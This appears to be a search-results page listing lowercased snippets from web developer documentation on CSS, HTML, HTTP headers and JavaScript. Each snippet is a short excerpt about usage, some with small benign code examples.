... consider providing a mechanism for pausing or disabling animation, as well as using the reduced motion media query to create a complimentary experience for users who have expressed a preference for no animated experiences.
transition - CSS: Cascading Style Sheets
different states may be defined using pseudo-classes like :hover or :active or dynamically set using javascript.
...ition_syntax#brackets" title="brackets: enclose several entities, combinators, and multipliers to transform them as a single component">[0,1]>, <number>)<step-timing-function> = step-start | step-end | steps(<integer>[, <step-position>]?)where <step-position> = jump-start | jump-end | jump-none | jump-both | start | end examples there are several more examples of css transitions included in the using css transitions article.
unicode-bidi - CSS: Cascading Style Sheets
the directionality is calculated using the p2 and p3 rules of the unicode bidirectional algorithm.
... this value allows the display of data that is already formatted using a tool following the unicode bidirectional algorithm.
<url> - CSS: Cascading Style Sheets
WebCSSurl
confusingly, this meant that url() could be used to create a <uri> css data type.
... syntax the <url> data type is specified using the url() functional notation.
visibility - CSS: Cascading Style Sheets
to both hide an element and remove it from the document layout, set the display property to none instead of using visibility.
... accessibility concerns using a visibility value of hidden on an element will remove it from the accessibility tree.
will-change - CSS: Cascading Style Sheets
some of the stronger optimizations that are likely to be tied to will-change end up using a lot of a machine’s resources, and when overused like this can cause the page to slow down or consume a lot of resources.
...so it is a good practice to switch will-change on and off using script code before and after the change occurs.
writing-mode - CSS: Cascading Style Sheets
formal definition initial valuehorizontal-tbapplies toall elements except table row groups, table column groups, table rows, and table columnsinheritedyescomputed valueas specifiedanimation typediscrete formal syntax horizontal-tb | vertical-rl | vertical-lr | sideways-rl | sideways-lr examples using multiple writing modes this example demonstrates all of the writing modes, showing each with text in various languages.
... html the html is a <table> with each writing mode in a row with a column showing text in various scripts using that writing mode.
CSS: Cascading Style Sheets
WebCSS
this module provides a gentle beginning to your path towards css mastery with the basics of how it works, what the syntax looks like, and how you can start using it to add styling to html.
... css building blocks this module carries on where css first steps left off — now you've gained familiarity with the language and its syntax, and got some basic experience with using it, its time to dive a bit deeper.
EXSLT
those that are supported by firefox are listed below: common (exsl)the exslt common package provides basic functions that expand upon the capabilities of xslt.math (math)the exslt math package provides functions for working with numeric values and comparing nodes.regular expressions (regexp)the exslt regular expressions package provides functions that allow testing, matching, and replacing text using javascript style regular expressions.sets (set)the exslt sets package offers functions that let you perform set manipulation.strings (str)the exslt strings package provides functions that allow the manipulation of strings.
... functions math:highest() math:lowest() math:max() math:min() regular expressions the exslt regular expressions package provides functions that allow testing, matching, and replacing text using javascript style regular expressions.
Getting Started - Developer guides
you can also add an always-different get parameter, like a timestamp or random number (see bypassing the cache) note 3: if the httprequest variable is used globally, competing functions calling makerequest() can overwrite each other, causing a race condition.
... this is repeated every 5 seconds, using a setinterval() call.
Setting up adaptive streaming media sources - Developer guides
note: since mpeg-dash decoding is done partially using javascript and mse files are often grabbed using xhr, keep same origin rules in mind.
... note: you can find more details about these tools at using http live streaming.
Media buffering, seeking, and time ranges - Developer guides
this article discusses how to build a buffer/seek bar using timeranges, and other features of the media api.
...we can find this point in the media using the following line of code: var seekableend = myaudio.seekable.end(myaudio.seekable.length - 1); note: myaudio.seekable.end(myaudio.seekable.length - 1) actually tells us the end point of the last time range that is seekable (not all seekable media).
Challenge solutions - Developer guides
solution change the selector of the new rule to be a tag selector using p: p { color: blue; } the rules for the other colors all have more specific selectors, so they override the blue of the paragraph.
... solution add this rule to your stylesheet: p:before{ content: url("yellow-pin.png"); } lists lower roman numerals challenge add a rule to your stylesheet, to number the oceans using roman numerals from i to v.
DOM onevent handlers - Developer guides
when the element is built from the html, the value of its onevent attributes are copied to the dom object that represents the element, so that accessing the attributes' values using javascript will get the value set in the html.
... let logelement = document.queryselector('div'); let el = document.queryselector("a"); function log(msg) { logelement.innerhtml += `${msg}<br>` }; function anchoronclick(event) { log("changed onclick handler") }; // original handler log(`element's onclick as a javascript property: <code> ${el.onclick.tostring()} </code>`); //changing handler using .onclick log('<br>changing onclick handler using <strong> onclick property </strong> '); el.onclick = anchoronclick; log(`changed the property to: <code> ${el.onclick.tostring()} </code>`); log(`but the html attribute is unchanged: <code> ${el.getattribute("onclick")} </code><br>`); //changing handler using .setattribute log('<hr/><br> changing onclick handler using <strong> setattribute metho...
Media events - Developer guides
various events are sent when handling media that are embedded in html documents using the <audio> and <video> elements; this section lists them and provides some helpful information about using them.
... you can easily watch for these events, using code such as the following: var v = document.getelementsbytagname("video")[0]; v.addeventlistener("seeked", function() { v.play(); }, true); v.currenttime = 10.0; this example fetches the first video element in the document and attaches an event listener to it, watching for the seeked event, which is sent whenever a seek operation completes.
Orientation and motion data explained - Developer guides
summary when using orientation and motion events, it's important to understand what the values you're given by the browser mean.
...there are two coordinate frames to consider when using orientation and motion events: earth coordinate frame the earth coordinate frame is the coordinate frame fixed on the center of the earth; that is, the axes are aligned based on the pull of gravity and the standard magnetic north orientation.
Constraint validation - Developer guides
basic, usual constraints can be checked, without the need for javascript, by setting new attributes; more complex constraints can be tested using the constraint validation api.
... complex constraints using the constraint validation api using javascript and the constraint api, it is possible to implement more complex constraints, for example, constraints combining several fields, or constraints involving complex calculations.
The Web Open Font Format (WOFF) - Developer guides
WebGuideWOFF
there are three main benefits to using woff: the font data is compressed, so sites using woff will use less bandwidth and will load faster than if they used equivalent uncompressed truetype or opentype files.
... using woff you can use the @font-face css property to use woff fonts for text in web content.
Developer guides
most of what you see on screen in your browser is described, fundamentally, using html.
... using formdata objects the formdata object lets you compile a set of key/value pairs to send using xmlhttprequest.
The HTML autocomplete attribute - HTML: Hypertext Markup Language
using "name" rather than breaking the name down into its components is generally preferred because it avoids dealing with the wide diversity of human names and how they are structured; however, you can use the following autocomplete values if you do need to break the name down into its components: "honorific-prefix" the prefix or title, such as "mrs.", "mr.", "miss", "ms.", "dr.", or "mlle.".
...using a full name field is preferred, typically, over breaking the name into pieces.
HTML attribute: multiple - HTML: Hypertext Markup Language
keyboard users can select multiple contiguous items by focusing on the <select> element, selecting an item at the top or bottom of the range they want to select using the up and down cursor keys to go up and down the options.
...when using the multiple attribute, inform the user that multiple values are allowed and provide directions on how to provide multiple values, such as "separate email addresses with a comma." setting size="1" on a multiple select can make it appear as a single select in some browsers, but then it doesn't expand on focus, harming usability.
HTML attribute: step - HTML: Hypertext Markup Language
WebHTMLAttributesstep
when using the min attribute, ensure this minimum requirement is understood by the user.
...if providing instructions outside of labels, which allows more flexible positioning and design, consider using aria-labelledby or aria-describedby.
<b>: The Bring Attention To element - HTML: Hypertext Markup Language
WebHTMLElementb
similarly, do not mark titles and headings using the <b> element.
... if there is no semantic purpose to using the <b> element, you should use the css font-weight property with the value "bold" instead in order to make text bold.
<br>: The Line Break element - HTML: Hypertext Markup Language
WebHTMLElementbr
evelyn avenue<br> mountain view, ca<br> 94041<br> usa<br> the result looks like so: accessibility concerns creating separate paragraphs of text using <br> is not only bad practice, it is problematic for people who navigate with the aid of screen reading technology.
...this can be a confusing and frustrating experience for the person using the screen reader.
<command>: The HTML Command element - HTML: Hypertext Markup Language
WebHTMLElementcommand
checkbox indicates that the command can be toggled using a checkbox.
... radio indicates that the command can be toggled using a radio button.
<dl>: The Description List element - HTML: Hypertext Markup Language
WebHTMLElementdl
the element encloses a list of groups of terms (specified using the <dt> element) and descriptions (provided by <dd> elements).
...this can be useful when using microdata, or when global attributes apply to a whole group, or for styling purposes.
<figure>: The Figure with Optional Caption element - HTML: Hypertext Markup Language
WebHTMLElementfigure
the html <figure> (figure with optional caption) element represents self-contained content, potentially with an optional caption, which is specified using the (<figcaption>) element.
... <!-- just an image --> <figure> <img src="https://udn.realityripple.com/samples/6c/98485e5d8a.png" alt="the beautiful mdn logo."> </figure> <!-- image with a caption --> <figure> <img src="https://udn.realityripple.com/samples/6c/98485e5d8a.png" alt="the beautiful mdn logo."> <figcaption>mdn logo</figcaption> </figure> code snippets <figure> <figcaption>get browser details using <code>navigator</code>.</figcaption> <pre> function navigatorexample() { var txt; txt = "browser codename: " + navigator.appcodename + "; "; txt+= "browser name: " + navigator.appname + "; "; txt+= "browser version: " + navigator.appversion + "; "; txt+= "cookies enabled: " + navigator.cookieenabled + "; "; txt+= "platform: " + navigator.platform + "; "; txt+= "user-agent heade...
<i>: The Idiomatic Text element - HTML: Hypertext Markup Language
WebHTMLElementi
historically, these have been presented using italicized type, which is the original source of the <i> naming of this element.
... examples this example demonstrates using the <i> element to mark text that is in another language.
<input type="checkbox"> - HTML: Hypertext Markup Language
WebHTMLElementinputcheckbox
using checkbox inputs we already covered the most basic use of checkboxes above.
...this is set using the htmlinputelement object's indeterminate property via javascript (it cannot be set using an html attribute): inputinstance.indeterminate = true; a checkbox in the indeterminate state has a horizontal line in the box (it looks somewhat like a hyphen or minus sign) instead of a check/tick in most browsers.
<input type="date"> - HTML: Hypertext Markup Language
WebHTMLElementinputdate
using date inputs date inputs sound convenient — they provide an easy interface for choosing dates, and they normalize the data format sent to the server regardless of the user's locale.
...try playing with the example now: here's a screenshot for those of you who aren't using a supporting browser: here's the css used in the above example.
<label> - HTML: Hypertext Markup Language
WebHTMLElementlabel
this increased hit area provides an advantage to anyone trying to activate the input, including those using a touch-screen device.
... examples simple label example <label>click me <input type="text"></label> using the "for" attribute <label for="username">click me</label> <input type="text" id="username"> accessibility concerns interactive content don't place interactive elements such as anchors or buttons inside a label.
<listing> - HTML: Hypertext Markup Language
WebHTMLElementlisting
summary the html listing element (<listing>) renders text between the start and end tags without interpreting the html in between and using a monospaced font.
... a monospaced font can also be obtained on a simple <div> element, by applying an adequate css style using monospace as the generic-font value in a font-family property.
Standard metadata names - HTML: Hypertext Markup Language
WebHTMLElementmetaname
the value of the content property for color-scheme may be one of the following: normal the document is unaware of color schemes and should simply be rendered using the default color palette.
...your styles can adapt to the current color scheme using the prefers-color-scheme css media feature.
<noframes>: The Frame Fallback element - HTML: Hypertext Markup Language
WebHTMLElementnoframes
a <noframes> element can contain any html elements that are allowed within the body of an html document, with the exception of the <frameset> and <frame> elements, since using frames when they aren't supported doesn't make sense.
...when frames are needed at all, they should be presented using the <iframe> element.
<p>: The Paragraph element - HTML: Hypertext Markup Language
WebHTMLElementp
using empty <p> elements to add space between paragraphs is problematic for people who navigate with screen-reading technology.
...this can confuse and frustrate the person using the screen reader.
<rp>: The Ruby Fallback Parenthesis element - HTML: Hypertext Markup Language
WebHTMLElementrp
the html ruby fallback parenthesis (<rp>) element is used to provide fall-back parentheses for browsers that do not support display of ruby annotations using the <ruby> element.
... usage notes ruby annotations are for showing pronunciation of east asian characters, like using japanese furigana or taiwanese bopomofo characters.
<script>: The Script element - HTML: Hypertext Markup Language
WebHTMLElementscript
for information on using module, see our javascript modules guide.
... examples basic usage these examples show how to import (an external) script using the <script> element.
<spacer> - HTML: Hypertext Markup Language
WebHTMLElementspacer
it was devised by netscape to accomplish the same effect as a single-pixel layout image, which was something web designers used to use to add white spaces to web pages without actually using an image.
... however, <spacer> no longer supported by any major browser and the same effects can now be achieved using simple css.
<tfoot>: The Table Foot element - HTML: Hypertext Markup Language
WebHTMLElementtfoot
n = "#800000" navy = "#000080" red = "#ff0000" blue = "#0000ff" purple = "#800080" teal = "#008080" fuchsia = "#ff00ff" aqua = "#00ffff" usage note: do not use this attribute, as it is non-standard and only implemented some versions of microsoft internet explorer: the <tfoot> element should be styled using css.
...to achieve the same effect as the char, in css3, you can use the character set using the char attribute as the value of the text-align property unimplemented.
<thead>: The Table Head element - HTML: Hypertext Markup Language
WebHTMLElementthead
"#800000" navy = "#000080" red = "#ff0000" blue = "#0000ff" purple = "#800080" teal = "#008080" fuchsia = "#ff00ff" aqua = "#00ffff" usage note: do not use this attribute, as it is non-standard and only implemented in some versions of microsoft internet explorer: the <thead> element should be styled using css.
...to achieve the same effect as the char, in css3, you can use the character set using the char attribute as the value of the text-align property unimplemented.
<xmp> - HTML: Hypertext Markup Language
WebHTMLElementxmp
summary the html example element (<xmp>) renders text between the start and end tags without interpreting the html in between and using a monospaced font.
... a monospaced font can also be obtained on any element, by applying an adequate css style using monospace as the generic-font value for the font-family property.
hidden - HTML: Hypertext Markup Language
similarly, a canvas element with the hidden attribute could be used by a scripted graphics engine as an off-screen buffer, and a form control could refer to a hidden form element using its form attribute.
... living standard defines the suggested default rendering of the hidden attribute using css html 5.1the definition of 'hidden' in that specification.
id - HTML: Hypertext Markup Language
its purpose is to identify the element when linking (using a fragment identifier), scripting, or styling (with css).
... note: using characters except ascii letters, digits, '_', '-' and '.' may cause compatibility problems, as they weren't allowed in html 4.
title - HTML: Hypertext Markup Language
html <div title="cooltip"> <p>hovering here will show “cooltip”.</p> <p title="">hovering here will show nothing.</p> </div> result accessibility concerns use of the title attribute is highly problematic for: people using touch-only devices people navigating with keyboards people navigating with assistive technology such as screen readers or magnifiers people experiencing fine motor control impairment people with cognitive concerns this is due to inconsistent browser support, compounded by the additional assistive technology parsing of the browser-rendered page.
...semantics, structure, and apis of html documents using the html title attribute – updated | the paciello group tooltips & toggletips - inclusive components the trials and tribulations of the title attribute - 24 accessibility specifications specification status comment html living standardthe definition of 'title' in that specification.
Microdata - HTML: Hypertext Markup Language
microdata is an attempt to provide a simpler way of annotating html elements with machine-readable tags than the similar approaches of using rdfa and classic microformats.
... itemref – properties that are not descendants of an element with the itemscope attribute can be associated with the item using an itemref.
HTML reference - HTML: Hypertext Markup Language
html element reference this page lists all the html elements, which are created using tags.
... link types in html, the following link types indicate the relationship between two documents, in which one links to the other using an <a>, <area>, or <link> element.
Identifying resources on the Web - HTTP
usage notes when using urls in html content, you should generally only use a few of these url schemes.
...increasingly, browsers are removing support for using ftp to load subresources, for security reasons.
Resource URLs - HTTP
for example: http://searchfox.org/mozilla-central/rev/48ea452803907f2575d81021e8678634e8067fc2/browser/app/profile/firefox.js#575 web sites can easily collect firefox default preferences by overriding this pref() function and using the script resource:///defaults/preferences/firefox.js.
... furthermore, some default values of preferences differ between build configurations, such as platform and locale, which means web sites could identify individual users using this information.
Connection management in HTTP/1.x - HTTP
in such cases, using non-persistent connections, which are closed as soon as they are idle, can provide better performance.
...with http/1.1 or http/1.0, using a persistent connection – at least until it becomes idle – leads to the best performance.
List of default Accept values - HTTP
user agent value comment firefox text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 (since firefox 66) text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 (in firefox 65) text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 (before) in firefox 65 and earlier, this value can be modified using the network.http.accept.default parameter.
... user agent value comment firefox image/webp,*/* (since firefox 65) */* (since firefox 47) image/png,image/*;q=0.8,*/*;q=0.5 (before) this value can be modified using the image.http.accept parameter.
Accept-Charset - HTTP
using content negotiation, the server selects one of the encodings, uses it, and informs the client of its choice within the content-type response header, usually in a charset= parameter.
... ;q=<weight> any encoding is placed in an order of preference, expressed using a relative quality value called the weight.
Accept - HTTP
WebHTTPHeadersAccept
using content negotiation, the server then selects one of the proposals, uses it and informs the client of its choice with the content-type response header.
... */* any mime type ;q= (q-factor weighting) any value used is placed in an order of preference expressed using relative quality value called the weight.
Cross-Origin-Embedder-Policy - HTTP
the http cross-origin-embedder-policy (coep) response header prevents a document from loading any cross-origin resources that don't explicitly grant the document permission (using corp or cors).
... to check if cross origin isolation has been successful, you can test against the crossoriginisolated property available to window and worker contexts: if (crossoriginisolated) { // post sharedarraybuffer } else { // do something else } avoiding coep blockage with cors if you enable coep using require-corp and have a cross origin resource that needs to be loaded, it needs to support cors and you need to explicitly mark the resource as loadable from another origin to avoid blockage from coep.
Forwarded - HTTP
header type request header forbidden header name no syntax forwarded: by=<identifier>;for=<identifier>;host=<host>;proto=<http|https> directives <identifier> an identifier disclosing the information that is altered or lost when using a proxy.
... examples using the forwarded header forwarded: for="_mdn" # case insensitive forwarded: for="[2001:db8:cafe::17]:4711" # separated by semicolon forwarded: for=192.0.2.60;proto=http;by=203.0.113.43 # multiple values can be appended using a comma forwarded: for=192.0.2.43, for=198.51.100.17 transitioning from x-forwarded-for to forwarded if your application, server, or proxy supports the standardized forwa...
SameSite cookies - HTTP
fixing common warnings samesite=none requires secure the following warning might appear in your console: some cookies are misusing the “samesite“ attribute, so it won’t work as expected.
... cookies without samesite default to samesite=lax recent versions of modern browsers provide a more secure default for samesite to your cookies and so the following message might appear in your console: some cookies are misusing the “samesite“ attribute, so it won’t work as expected.
Want-Digest - HTTP
the want-digest http header is primarily used in a http request, to ask the responder to provide a digest of the requested resource using the digest response header.
... if want-digest does not include any digest algorithms that the server supports, the server may respond with: a digest calculated using a different digest algorithm, or a 400 bad request error, and include another want-digest header with that response, listing the algorithms that it does support.
X-DNS-Prefetch-Control - HTTP
examples turning on and off prefetching you can either send the x-dns-prefetch-control header server-side, or from individual documents, using the http-equiv attribute on the <meta> element, like this: <meta http-equiv="x-dns-prefetch-control" content="off"> you can reverse this setting by setting content to "on".
... forcing lookup of specific hostnames you can force the lookup of specific hostnames without providing specific anchors using that hostname by using the rel attribute on the <link> element with a link type of dns-prefetch: <link rel="dns-prefetch" href="https://www.mozilla.org/contribute/"> in this example, the domain name "www.mozilla.org/contribute" will be pre-resolved.
X-Frame-Options - HTTP
the added security is provided only if the user accessing the document is using a browser that supports x-frame-options.
...</system.webserver> or see this microsoft support article on setting this configuration using the iis manager user interface.
HTTP request methods - HTTP
WebHTTPMethods
requests using get should only retrieve data.
... post the post method is used to submit an entity to the specified resource, often causing a change in state or side effects on the server.
HTTP range requests - HTTP
accept-ranges: none requesting a specific range from a server if the server supports range requests, you can issue such a request by using the range header.
...again, we can test a request by using curl.
Redirections in HTTP - HTTP
308 was created to remove the ambiguity of the behavior when using non-get methods.
...307 was created to remove the ambiguity of the behavior when using non-get methods.
A typical HTTP session - HTTP
WebHTTPSession
to work around this problem, web developers use several techniques: ping the server periodically via the xmlhttprequest, fetch apis, using the websockets api, or similar protocols.
...requests using get should only retrieve data.
CSS Houdini
advantages of houdini houdini enables faster parse times than using javascript .style for style changes.
...properties registered using this api are provided with a parse syntax that defines a type, inheritance behaviour, and an initial value.
Enumerability and ownership of properties - JavaScript
etrieval, and iteration functionality own object own object and its prototype chain prototype chain only detection enumerable nonenumerable enumerable and nonenumerable propertyisenumerable hasownproperty hasownproperty – filtered to exclude enumerables using propertyisenumerable hasownproperty enumerable nonenumerable enumerable and nonenumerable not available without extra code not available without extra code in not available without extra code retrieval enumera...
...ble nonenumerable enumerable and nonenumerable object.keys getownpropertynames getownpropertysymbols getownpropertynames, getownpropertysymbols – filtered to exclude enumerables using propertyisenumerable getownpropertynames getownpropertysymbols not available without extra code not available without extra code iterable enumerable nonenumerable enumerable and nonenumerable object.keys getownpropertynames getownpropertysymbols getownpropertynames, getownpropertysymbols – filtered to exclude enumerables using propertyi...
Keyed collections - JavaScript
(this can be bypassed using map = object.create(null).) these three tips can help you to decide whether to use a map or an object: use maps over objects when keys are unknown until run time, and when all keys are the same type and all values are the same type.
... let myset = new set(); myset.add(1); myset.add('some text'); myset.add('foo'); myset.has(1); // true myset.delete('foo'); myset.size; // 2 for (let item of myset) console.log(item); // 1 // "some text" converting between array and set you can create an array from a set using array.from or the spread operator.
Assertions - JavaScript
examples general boundary-type overview example // using regex boundaries to fix buggy string.
... matching the beginning of input using a ^ control character use ^ for matching at the beginning of input.
Character classes - JavaScript
\cx matches a control character using caret notation, where "x" is a letter from a–z (corresponding to codepoints u+0001–u+001f).
...by placing a backslash in front of "b", that is by using /\b/, the character becomes special to mean match a word boundary.
JavaScript technologies overview - JavaScript
objects in the dom tree may be addressed and manipulated by using methods on the objects.
...in general, it also forbids using elements and attributes that aren't defined in a standard.
Memory Management - JavaScript
using values using values basically means reading and writing in allocated memory.
... v8 engine flags the max amount of available heap memory can be increased with a flag: node --max-old-space-size=6000 index.js we can also expose the garbage collector for debugging memory issues using a flag and the chrome debugger: node --expose-gc --inspect index.js see also ibm article on "memory leak patterns in javascript" (2007) kangax article on how to register event handler and avoid memory leaks (2010) performance ...
constructor - JavaScript
however, if you provide your own constructor, and your class derives from some parent class, then you must explicitly call the parent class constructor using super.
... examples using the constructor method this code snippet is taken from the classes sample (live demo).
extends - JavaScript
examples using extends the first example creates a class called square from a class called polygon.
... this.name = 'square'; } get area() { return this.height * this.width; } } using extends with built-in objects this example extends the built-in date object.
Warning: -file- is being assigned a //# sourceMappingURL, but already has one - JavaScript
there are two ways to assign a source map, either by using a comment or by setting a header to the javascript file.
... examples setting source maps setting a source map by using a comment in the file: //# sourcemappingurl=http://example.com/path/to/your/sourcemap.map or, alternatively, you can set a header to your javascript file: x-sourcemap: /path/to/file.js.map ...
TypeError: X.prototype.y called on incompatible type - JavaScript
this issue can arise when using the function.prototype.call() or function.prototype.apply() methods, and providing a this argument which does not have the expected type.
... var myfun = function () { console.log(this); }; ['bar', 'baz'].foreach(x => myfun.bind(x)); // this works using the "bind" function.
SyntaxError: applying the 'delete' operator to an unqualified name is deprecated - JavaScript
the javascript strict mode-only exception "applying the 'delete' operator to an unqualified name is deprecated" occurs when variables are attempted to be deleted using the delete operator.
... normal variables in javascript can't be deleted using the delete operator.
Warning: expression closures are deprecated - JavaScript
this syntax will be removed entirely in bug 1083458 and scripts using it will throw a syntaxerror then.
... var x = function() { return 1; } var obj = { count: function() { return 1; } }; standard syntax using arrow functions alternatively, you can use arrow functions: var x = () => 1; standard syntax using shorthand method syntax expression closures can also be found with getter and setter, like this: var obj = { get x() 1, set x(v) this.v = v }; with es2015 method definitions, this can be converted to: var obj = { get x() { return 1 }, set x(v) { this.v = v } }; ...
RangeError: invalid array length - JavaScript
if you are creating an array, using the constructor, you probably want to use the literal notation instead, as the first argument is interpreted as the length of the array.
... otherwise, you might want to clamp the length before setting the length property, or using it as argument of the constructor.
TypeError: "x" is not a function - JavaScript
ion () { this.age = 11; this.color = "black"; this.name = "ralph"; return this; } dog.prototype.name = function(name) { this.name = name; return this; } var mynewdog = new dog(); mynewdog.name("cassidy"); //uncaught typeerror: mynewdog.name is not a function use a different property name instead: var dog = function () { this.age = 11; this.color = "black"; this.dogname = "ralph"; //using this.dogname instead of .name return this; } dog.prototype.name = function(name) { this.dogname = name; return this; } var mynewdog = new dog(); mynewdog.name("cassidy"); //dog { age: 11, color: 'black', dogname: 'cassidy' } using brackets for multiplication in math, you can write 2 × (3 + 5) as 2*(3 + 5) or just 2(3 + 5).
... using the latter will throw an error: const sixteen = 2(3 + 5); alert('2 x (3 + 5) is ' + string(sixteen)); //uncaught typeerror: 2 is not a function you can correct the code by adding a * operator: const sixteen = 2 * (3 + 5); alert('2 x (3 + 5) is ' + string(sixteen)); //2 x (3 + 5) is 16 import the exported module correctly ensure you are importing the module correctly.
Warning: unreachable code after return statement - JavaScript
the javascript warning "unreachable code after return statement" occurs when using an expression after a return statement, or when using a semicolon-less return statement but including an expression directly after.
... unreachable code after a return statement might occur in these situations: when using an expression after a return statement, or when using a semicolon-less return statement but including an expression directly after.
SyntaxError: function statement requires a name - JavaScript
you will need a few more braces in this case: (function () { })(); labeled functions if you are using function labels, you will still need to provide a function name after the function keyword.
... var greeter = { german: function () { return "moin"; } }; callback syntax also, check your syntax when using callbacks.
TypeError: variable "x" redeclares argument - JavaScript
the javascript strict mode-only exception "variable redeclares argument" occurs when the same variable name occurs as a function parameter and is then redeclared using a var assignment in a function body again.
... the same variable name occurs as a function parameter and is then redeclared using a var assignment in a function body again.
TypeError: cannot use 'in' operator to search for 'x' in 'y' - JavaScript
python), you can't search in strings using the in operator.
... var foo = { baz: "bar" }; "bar" in foo; // false "pi" in math; // true "pi" in math; // false searching in arrays be careful when using the in operator to search in array objects.
arguments.callee - JavaScript
avoid using arguments.callee() by either giving function expressions a name or use a function declaration where a function must call itself.
... examples using arguments.callee in an anonymous recursive function a recursive function must be able to refer to itself.
setter - JavaScript
removing a setter with the delete operator if you want to remove the setter, you can just delete it: delete language.current; defining a setter on existing objects using defineproperty to append a setter to an existing object, use object.defineproperty().
... const o = {a: 0}; object.defineproperty(o, 'b', { set: function(x) { this.a = x / 2; } }); o.b = 10; // runs the setter, which assigns 10 / 2 (5) to the 'a' property console.log(o.a) // 5 using a computed property name const expr = 'foo'; const obj = { baz: 'bar', set [expr](v) { this.baz = v; } }; console.log(obj.baz); // "bar" obj.foo = 'baz'; // run the setter console.log(obj.baz); // "baz" specifications specification ecmascript (ecma-262)the definition of 'method definitions' in that specification.
Array.prototype[@@iterator]() - JavaScript
by default, using arr[symbol.iterator] will return the values() function.
... examples iteration using for...of loop html <ul id="letterresult"> </ul> javascript var arr = ['a', 'b', 'c']; var earr = arr[symbol.iterator](); var letterresult = document.getelementbyid('letterresult'); // your browser must support for..of loop // and let-scoped variables in for loops // const and var could also be used for (let letter of earr) { letterresult.innerhtml += "<li>" + letter + "</li>"; } result alternative iteration var arr = ['a', 'b', 'c', 'd', 'e']; var earr = arr[symbol.iterator](); console.log(earr.next().value); // a console.log(earr.next().value); // b console.log(earr.next().value); // c console.log(earr.next().value); // d console.log(earr.next().value); // e use case for brace notation the use case for this syntax over using the dot notation (array.pro...
Array.prototype.flatMap() - JavaScript
the flatmap() method first maps each element using a mapping function, then flattens the result into a new array.
...ease check: https://discourse.mozilla.org/t/mdn-rfc-001-mdn-wiki-pages-shouldnt-be-a-distributor-of-polyfills/24500 examples map() and flatmap() let arr1 = [1, 2, 3, 4]; arr1.map(x => [x * 2]); // [[2], [4], [6], [8]] arr1.flatmap(x => [x * 2]); // [2, 4, 6, 8] // only one level is flattened arr1.flatmap(x => [[x * 2]]); // [[2], [4], [6], [8]] while the above could have been achieved by using map itself, here is an example that better showcases the use of flatmap.
Array.from() - JavaScript
[ "foo", "bar", "baz" ] array from a map const map = new map([[1, 2], [2, 4], [4, 8]]); array.from(map); // [[1, 2], [2, 4], [4, 8]] const mapper = new map([['1', 'a'], ['2', 'b']]); array.from(mapper.values()); // ['a', 'b']; array.from(mapper.keys()); // ['1', '2']; array from an array-like object (arguments) function f() { return array.from(arguments); } f(1, 2, 3); // [ 1, 2, 3 ] using arrow functions and array.from() // using an arrow function as the map function to // manipulate the elements array.from([1, 2, 3], x => x + x); // [2, 4, 6] // generate a sequence of numbers // since the array is initialized with `undefined` on each position, // the value of `v` below will be `undefined` array.from({length: 5}, (v, i) => i); // [0, 1, 2, 3, 4] sequence generator (range) //...
...clojure, php etc) const range = (start, stop, step) => array.from({ length: (stop - start) / step + 1}, (_, i) => start + (i * step)); // generate numbers range 0..4 range(0, 4, 1); // [0, 1, 2, 3, 4] // generate numbers range 1..10 with step of 2 range(1, 10, 2); // [1, 3, 5, 7, 9] // generate the alphabet using array.from making use of it being ordered as a sequence range('a'.charcodeat(0), 'z'.charcodeat(0), 1).map(x => string.fromcharcode(x)); // ["a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z"] specifications specification initial publication ecmascript (ecma-262)the definition of 'array.from' in that specificati...
Array.prototype.indexOf() - JavaScript
description indexof() compares searchelement to elements of the array using strict equality (the same method used by the === or triple-equals operator).
... if (k in o && o[k] === searchelement) return k; } return -1; }; } examples using indexof() the following example uses indexof() to locate values in an array.
Array.prototype.join() - JavaScript
if the array has only one item, then that item will be returned without using the separator.
... examples joining an array four different ways the following example creates an array, a, with three elements, then joins the array four times: using the default separator, then a comma and a space, then a plus and an empty string.
Array.prototype.pop() - JavaScript
var myfish = ['angel', 'clown', 'mandarin', 'sturgeon']; var popped = myfish.pop(); console.log(myfish); // ['angel', 'clown', 'mandarin' ] console.log(popped); // 'sturgeon' using apply( ) or call ( ) on array-like objects the following code creates the myfish array-like object containing four elements and a length parameter, then removes its last element and decrements the length parameter.
... var myfish = {0:'angel', 1:'clown', 2:'mandarin', 3:'sturgeon', length: 4}; var popped = array.prototype.pop.call(myfish); //same syntax for using apply( ) console.log(myfish); // {0:'angel', 1:'clown', 2:'mandarin', length: 3} console.log(popped); // 'sturgeon' specifications specification ecmascript (ecma-262)the definition of 'array.prototype.pop' in that specification.
Array.prototype.some() - JavaScript
function isbiggerthan10(element, index, array) { return element > 10; } [2, 5, 8, 1, 4].some(isbiggerthan10); // false [12, 5, 8, 1, 4].some(isbiggerthan10); // true testing array elements using arrow functions arrow functions provide a shorter syntax for the same test.
...he function of the includes() method, this custom function returns true if the element exists in the array: const fruits = ['apple', 'banana', 'mango', 'guava']; function checkavailability(arr, val) { return arr.some(function(arrval) { return val === arrval; }); } checkavailability(fruits, 'kela'); // false checkavailability(fruits, 'banana'); // true checking whether a value exists using an arrow function const fruits = ['apple', 'banana', 'mango', 'guava']; function checkavailability(arr, val) { return arr.some(arrval => val === arrval); } checkavailability(fruits, 'kela'); // false checkavailability(fruits, 'banana'); // true converting any value to boolean const truthy_values = [true, 'true', 1]; function getboolean(value) { 'use strict'; if (typeof value === 's...
Array.prototype.toLocaleString() - JavaScript
the elements are converted to strings using their tolocalestring methods and these strings are separated by a locale-specific string (such as a comma “,”).
... examples using locales and options the elements of the array are converted to strings using their tolocalestring methods.
Array.prototype.values() - JavaScript
examples iteration using for...of loop var arr = ['a', 'b', 'c', 'd', 'e']; var iterator = arr.values(); for (let letter of iterator) { console.log(letter); } //"a" "b" "c" "d" "e" array.prototype.values is default implementation of array.prototype[symbol.iterator].
... array.prototype.values === array.prototype[symbol.iterator] //true iteration using .next() var arr = ['a', 'b', 'c', 'd', 'e']; var iterator = arr.values(); iterator.next(); // object { value: "a", done: false } iterator.next().value; // "b" iterator.next()["value"]; // "c" iterator.next(); // object { value: "d", done: false } iterator.next(); // object { value: "e", done: false } iterator.next(); // object { value: undefined, done: true } iteraror.next().value; // undefined one-use: the array iterator object is one use or temporary object example: var arr = ['a', 'b', 'c', 'd', 'e']; var iterator = arr.values(); for (let letter of iterator) { console.log(letter); } //"a" "b" "c" "d" "e" for (let let...
AsyncFunction - JavaScript
